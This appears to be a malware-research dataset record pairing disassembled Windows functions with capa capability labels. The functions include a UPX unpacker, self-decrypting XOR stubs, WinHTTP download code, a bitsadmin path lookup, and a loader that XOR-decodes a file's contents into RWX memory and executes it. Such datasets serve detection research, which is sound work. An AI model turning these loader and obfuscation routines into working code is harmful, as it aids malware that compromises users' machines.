joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7aa1e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x202000]
mov dword [edi + 0x2cd47c], 0xba046891
push edi
jmp 0x7aa20a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x7aa211
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7aa200
mov eax, 1
add ebx, ebx
jne 0x7aa223
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x7aa234
jne 0x7aa253
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7aa253
dec eax
add ebx, ebx
jne 0x7aa240
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x7aa218
add ebx, ebx
jne 0x7aa24f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7aa2a5
xor ecx, ecx
sub eax, 3
jb 0x7aa26b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7aa2da
sar eax, 1
mov ebp, eax
jmp 0x7aa276
add ebx, ebx
jne 0x7aa276
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7aa244
inc ecx
add ebx, ebx
jne 0x7aa284
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7aa244
add ebx, ebx
jne 0x7aa291
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7aa286
jne 0x7aa2a2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7aa286
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7aa2c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7aa2b6
jmp 0x7aa206
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7aa2c4
add edi, ecx
jmp 0x7aa206
pop esi
mov edi, esi
mov ecx, 0xef86
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7aa2e2
cmp byte [edi], 0x26
jne 0x7aa2e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7aa2e7
lea edi, [esi + 0x399000]
mov eax, dword [edi]
or eax, eax
je 0x7aa35f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3cb214]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3cb3e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x7aa314
mov ecx, edi
jns 0x7aa343
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3cb3f0]
or eax, eax
je 0x7aa359
mov dword [ebx], eax
add ebx, 4
jmp 0x7aa331
call dword [esi + 0x3cb3ec]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7aa390
cmp al, 0xef
ja 0x7aa383
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x7aa365
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x7aa372
mov ebp, dword [esi + 0x3cb3f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x26f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7aa3c4
sub esp, 0xffffff80
jmp 0x5c9f5a
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x92ffe4
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x92ffea
pop ebp
sub ebp, 6
sub ebp, 0x52ffe4
jmp 0x930048
jmp 0x930051
mov eax, 0x52ffe4
add eax, ebp
add eax, 0x93
mov ecx, 0x629
mov edx, 0x845a7434
xor byte [eax], dl
inc eax
dec ecx
jne 0x930068
jmp 0x93007b
pop esi
je 0x9300da
xor al, 0x24
xor al, 0x34
pop esp
xor al, 0xf8
sbb byte [edi + eax], dh
hlt
xor al, 0x34
xor al, 0xbf
mov eax, dword [0x34343438]
mov edi, 0x343424b9
xor al, 0xf5
fnsave dword [esi]
add eax, 0x30f6b736
jge 0x93012e
mov cl, 0xc0
retf
xor al, 0xb5
lds esi, [ebx + eax + 0x60]
sal dword [ebp + 0x600374c5], 1
rol dword [edi], 1
std
pop es
out 0xb7, al
fdiv qword [ecx]
jl 0x93017f
mov al, 0x7a
xor al, 0x34
xor al, 0x3b
mov esp, 0x3434347c
push edx
mov edi, 0xcfb40d28
fdivr qword [ebx]
mov al, 0x2e
xor al, 0x34
xor al, 0xb4
iretd
xor ch, bl
mov ebx, ecx
retf
Function at 0x487eb7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4b09fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0047aaa3
and dword [ebp - 0x14], 0
cmp dword [0x4b32ec], 0
mov dword [ebp - 0x18], eax
jne 0x487f6a
push 0x497bc4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x488012
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x497bb8
push ebx
call edi
test eax, eax
je 0x488012
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x497ba8
push ebx
mov dword [0x4b32ec], eax
call edi
push eax
call esi
push 0x497b94
push ebx
mov dword [0x4b32f0], eax
call edi
push eax
call esi
push 0x497b78
push ebx
mov dword [0x4b32f4], eax
call edi
push eax
call esi
mov dword [0x4b32fc], eax
test eax, eax
je 0x487f6a
push 0x497b60
push ebx
call edi
push eax
call esi
mov dword [0x4b32f8], eax
mov eax, dword [0x4b32f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x487fc3
cmp dword [0x4b32fc], ecx
je 0x487fc3
push eax
call esi
push dword [0x4b32fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x487fc3
test ebx, ebx
je 0x487fc3
call edi
test eax, eax
je 0x487fba
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x487fba
test byte [ebp - 8], 1
jne 0x487fc3
or dword [ebp + 0x10], 0x200000
jmp 0x487ff6
mov eax, dword [0x4b32f0]
cmp eax, dword [ebp - 0x18]
je 0x487ff6
push eax
call esi
test eax, eax
je 0x487ff6
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x487ff6
mov eax, dword [0x4b32f4]
cmp eax, dword [ebp - 0x18]
je 0x487ff6
push eax
call esi
test eax, eax
je 0x487ff6
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4b32ec]
call esi
test eax, eax
je 0x488012
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x488014
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046e8b1
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x65193b
Capabilities:
Encode data using base64

Disassembly:
shr ecx, 8
call fcn.005aeb87
inc ecx
mov ebp, dword [ebx - 4]
mov edi, 0xe1089992
mov eax, edi
dec eax
lea ecx, [eax + edi*8 + 0x4b9207a6]
dec ecx
add ebx, 0xfffffffc
inc ecx
xor ebp, edi
mov esi, 0xd3199e32
movsx ebx, cx
rol ebp, 1
mov edx, 0x1d200a96
dec edx
dec eax
div ecx
bswap ebp
inc ebp
inc eax
shl dh, 0x61
dec esp
lea eax, [ebx*4 - 0x3a5ab4d8]
inc ebp
mov ecx, eax
not ebp
inc cx
mul ecx
jb 0x6067c5

Function at 0x65642f
Capabilities:
Encode data using base64

Disassembly:
push dword [esp + 4]
popfd
lea esp, [esp + 0x10]
call fcn.005b091a

Function at 0x65c249
Capabilities:
Encode data using base64

Disassembly:
dec eax
mov dword [esp + edi + 5], eax
adc bx, word [esp + edi*2 + 3]
dec esp
adc esp, edx
inc ecx
push eax
dec ecx
btc eax, edi
inc al
dec esi
mov esi, dword [edi + ebp - 3]
pop ecx
inc ecx
mov ecx, dword [ebp + edi + 5]
not bp
dec eax
cwde
dec eax
lea edx, [edi + edi*4 - 0x38cff4e5]
dec esp
add ebp, eax
inc esp
xor al, byte [esp + edi*2 - 3]
pop ebx
dec esp
lea edx, [eax*4 + 0x6a139914]
inc edx
mov dword [edi + esi - 3], ecx
dec dword [esp + edi - 3]
bt eax, edi
dec esp
mov dword [esp + edi*4 - 0xc], esp
ret
dec esp
mov dword [esp + edi*4 - 0xc], esi
dec esp
mov edi, dword [esp + edi + 5]
inc ecx
xor eax, 0x1eb61082
dec eax
arpl dx, dx
jne 0x60dbd6

Function at 0x65da17
Capabilities:
Encode data using base64

Disassembly:
movzx ecx, word [edi + ecx*8 - 0x17a7a202]
mov dword [esp + eax - 0xf401], eax
xor cx, bx
sar dword [esp + eax*2 - 0x1e7fe], 0xdc
dec cx
shr eax, 0x5e
call fcn.005c3fb2

Function at 0x6604d5
Capabilities:
Encode data using base64
Manually build aes constants

Disassembly:
xor ecx, 0x4f36c0b1
mov dword [esp + edx - 0x27f75166], edx
shr eax, 0xa9
call fcn.0055e4c5

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x601cd0
Capabilities:
Initialize winhttp library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf0
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xf0]
mov ecx, 0x3c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [eax + 0xb0], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x2c], 0
cmp dword [0x6ac190], 0
je 0x601d3d
cmp dword [0x6ac188], 0
je 0x601d3d
mov dword [ebp - 0x14], 3
mov eax, dword [0x6ac188]
mov dword [ebp - 0x20], eax
mov eax, dword [0x6ac18c]
mov dword [ebp - 0x2c], eax
mov esi, esp
push 0x10000000
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
cmp esi, esp
call fcn.00673bc2
push eax
mov ecx, dword [ebp - 8]
add ecx, 0xa4
call fcn.00601df0
mov ecx, dword [ebp - 8]
add ecx, 0xa4
call fcn.006720a0
movzx eax, al
test eax, eax
je 0x601d87
xor al, al
jmp 0x601dd5
call fcn.00601e40
test eax, eax
je 0x601dc9
mov ecx, 0x6ac164
call fcn.0065aa40
add eax, 1
mov esi, esp
push eax
mov ecx, 0x6ac164
call fcn.00603950
push eax
push 0x29
mov ecx, dword [ebp - 8]
add ecx, 0xa4
call fcn.00612bb0
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
cmp esi, esp
call fcn.00673bc2
mov eax, dword [ebp - 8]
mov dword [eax + 0x68], 0
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xf0
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 4
Function at 0x602c50
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x98]
push ecx
call fcn.00673fdb
add esp, 4
mov dword [ebp - 0x14], eax
mov esi, esp
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x98]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 8]
add ecx, 0xac
call fcn.00612bb0
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
cmp esi, esp
call fcn.00673bc2
test eax, eax
jne 0x602d21
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.00673bc2
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x6c], eax
mov ecx, dword [ebp - 8]
add ecx, 0x40
call fcn.00603950
push eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x6c]
push ecx
push 0x320c
push 0x8e9
push str.q6hS66RmLlStaQi79c_a_wne1W4ey6jKNH6v2wne0bqtz88w
push 0x7f4a
call fcn.00655b80
add esp, 0x10
push eax
call fcn.00654400
add esp, 0xc
mov eax, dword [ebp - 8]
mov dword [eax + 0x68], 3
mov eax, dword [ebp - 0x14]
push eax
call fcn.00673fa1
add esp, 4
xor al, al
jmp 0x602d23
mov al, 1
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret
Function at 0x602d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x2ec]
mov ecx, 0xbb
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x6aac14]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x98], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xb4], 0
jne 0x602de2
mov esi, esp
lea eax, [ebp - 0x21c]
push eax
push 0
push 0x69479c
mov ecx, 0x6ac148
call fcn.00603950
push eax
push 0x1b
call fcn.0066fb20
add esp, 4
call eax
cmp esi, esp
call fcn.00673bc2
lea eax, [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 0x24
call fcn.006035a0
push 0x694794
lea eax, [ebp - 0x21c]
push eax
call fcn.006742fe
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword [ecx + 0xb4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0xb4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.006741c6
add esp, 0x10
mov dword [ebp - 0x228], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00673fa1
add esp, 4
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x9c]
add ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x9c], ecx
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0xa0], 0
je 0x602e4c
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 0x94]
test ecx, ecx
je 0x602e4c
mov eax, dword [0x6ac144]
add eax, dword [ebp + 0xc]
mov dword [0x6ac144], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x68], 3
je 0x602e5f
mov eax, dword [ebp - 0xc]
mov dword [eax + 0x68], 2
push edx
mov ecx, ebp
push eax
lea edx, [0x602e90]
call fcn.00673be5
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00673bb3
add esp, 0x2ec
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 8
Function at 0x60da20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
push ebx
push esi
push edi
lea edi, [ebp - 0x514]
mov ecx, 0x145
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x6aac14]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
mov esi, esp
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp esi, esp
call fcn.00673bc2
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x234]
call fcn.00603810
push str._bitsadmin.exe
lea ecx, [ebp - 0x234]
call fcn.00611b70
lea ecx, [ebp - 0x234]
call fcn.00603950
mov esi, esp
push eax
push 0x76c2
push str.qaxH58m8lah29amjb5k
push 0x2e3d
call fcn.00655b80
add esp, 0xc
push eax
push str.shlwapi.dll
call fcn.00665ca0
add esp, 8
call eax
cmp esi, esp
call fcn.00673bc2
test eax, eax
je 0x60dadc
mov eax, dword [ebp + 0xc]
mov dword [eax], 1
jmp 0x60db84
mov esi, esp
push 0
push 0x26
lea eax, [ebp - 0x444]
push eax
push 0
push 0x685d
push 0x5a04
push str.qoV06vuGiahQ5u65v6Jf6qnqaxH59g
push 0x4a28
call fcn.00655b80
add esp, 0x10
push eax
push str.shell32.dll
call fcn.00665ca0
add esp, 8
call eax
cmp esi, esp
call fcn.00673bc2
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x234]
call fcn.006035a0
push str.Support_Tools_bitsadmin.exe
lea ecx, [ebp - 0x234]
call fcn.00611b70
lea ecx, [ebp - 0x234]
call fcn.00603950
mov esi, esp
push eax
push str.qaxH58m8lah29amjb5k
push 0x1fd
call fcn.00655b80
add esp, 8
push eax
push str.shlwapi.dll
call fcn.00665ca0
add esp, 8
call eax
cmp esi, esp
call fcn.00673bc2
test eax, eax
je 0x60db84
mov eax, dword [ebp + 0xc]
mov dword [eax], 1
mov dword [ebp - 0x510], 0
lea ecx, [ebp - 0x234]
call fcn.006038c0
mov eax, dword [ebp - 0x510]
push edx
mov ecx, ebp
push eax
lea edx, [0x60dbd0]
call fcn.00673be5
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00673bb3
add esp, 0x514
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 8
Function at 0x616930
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x378
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x378]
mov ecx, 0xde
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x6aac14]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x18], 1
mov ecx, 0x6ac6fc
call fcn.00620220
mov dword [ebp - 0x24], eax
mov esi, esp
push 0xf0
movzx eax, word [ebp + 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x616b0c
mov esi, esp
mov eax, dword [ebp - 0x30]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x616b0c
mov esi, esp
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x616b0c
cmp dword [ebp - 0x18], 0
je 0x616b0c
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
test ecx, ecx
je 0x616b0c
mov eax, dword [ebp - 0x48]
mov cx, word [eax]
mov word [ebp - 0x54], cx
mov edx, dword [ebp - 0x48]
add edx, 2
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov cx, word [eax]
mov word [ebp - 0x60], cx
mov edx, dword [ebp - 0x48]
add edx, 2
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x48]
add edx, 4
mov dword [ebp - 0x48], edx
movzx eax, word [ebp - 0x60]
cmp eax, 0x403
jne 0x616a84
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x178]
call fcn.0061d3e0
lea ecx, [ebp - 0x178]
call fcn.00612bb0
push eax
push 0
push 0x143
movzx eax, word [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, 4
call fcn.00624af0
cmp eax, 0xffffffff
jne 0x616a77
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x178]
call fcn.0061d440
jmp 0x616afe
movzx eax, word [ebp - 0x60]
cmp eax, 0x1234
jne 0x616afe
mov dword [ebp - 0x1a4], 1
mov dword [ebp - 0x1a0], 0xffffffff
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x370]
call fcn.0061d3e0
mov dword [ebp - 0x378], eax
mov ecx, dword [ebp - 0x378]
call fcn.00612bb0
mov dword [ebp - 0x19c], eax
lea ecx, [ebp - 0x370]
call fcn.0061d440
lea eax, [ebp - 0x1a4]
push eax
push 0
push 0x40b
movzx ecx, word [ebp - 0x54]
push ecx
mov ecx, dword [ebp - 0xc]
add ecx, 4
call fcn.00624af0
cmp eax, 0xffffffff
jne 0x616afe
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x6c]
mov dword [ebp - 0x48], eax
jmp 0x6169df
mov eax, dword [ebp - 0x18]
push edx
mov ecx, ebp
push eax
lea edx, [0x616b40]
call fcn.00673be5
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00673bb3
add esp, 0x378
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 4
Function at 0x61b120
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xd8]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
xor eax, eax
jne 0x61b143
xor eax, eax
jne 0x61b143
mov eax, dword [ebp - 8]
cmp dword [eax + 8], 0
je 0x61b16e
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
call fcn.0061b220
jmp 0x61b200
movzx eax, byte [0x6ac2c8]
test eax, eax
jne 0x61b1ba
mov esi, esp
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x61b1b3
mov esi, esp
push str.RegDeleteKeyExW
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00673bc2
mov dword [0x6ac2c4], eax
mov byte [0x6ac2c8], 1
cmp dword [0x6ac2c4], 0
je 0x61b1e7
mov esi, esp
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
call dword [0x6ac2c4]
cmp esi, esp
call fcn.00673bc2
jmp 0x61b200
mov esi, esp
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp esi, esp
call fcn.00673bc2
pop edi
pop esi
pop ebx
add esp, 0xd8
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 4

Function at 0x61b220
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe4
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0xe4]
mov ecx, 0x39
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0
je 0x61b2b4
mov esi, esp
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x61b26f
mov eax, 1
jmp 0x61b2db
mov esi, esp
push str.RegDeleteKeyTransactedW
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00673bc2
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x61b2b2
mov esi, esp
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x20]
cmp esi, esp
call fcn.00673bc2
jmp 0x61b2db
jmp 0x61b2d6
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
je 0x61b2d6
mov esi, esp
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
cmp esi, esp
call fcn.00673bc2
jmp 0x61b2db
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0xe4
cmp ebp, esp
call fcn.00673bc2
mov esp, ebp
pop ebp
ret 8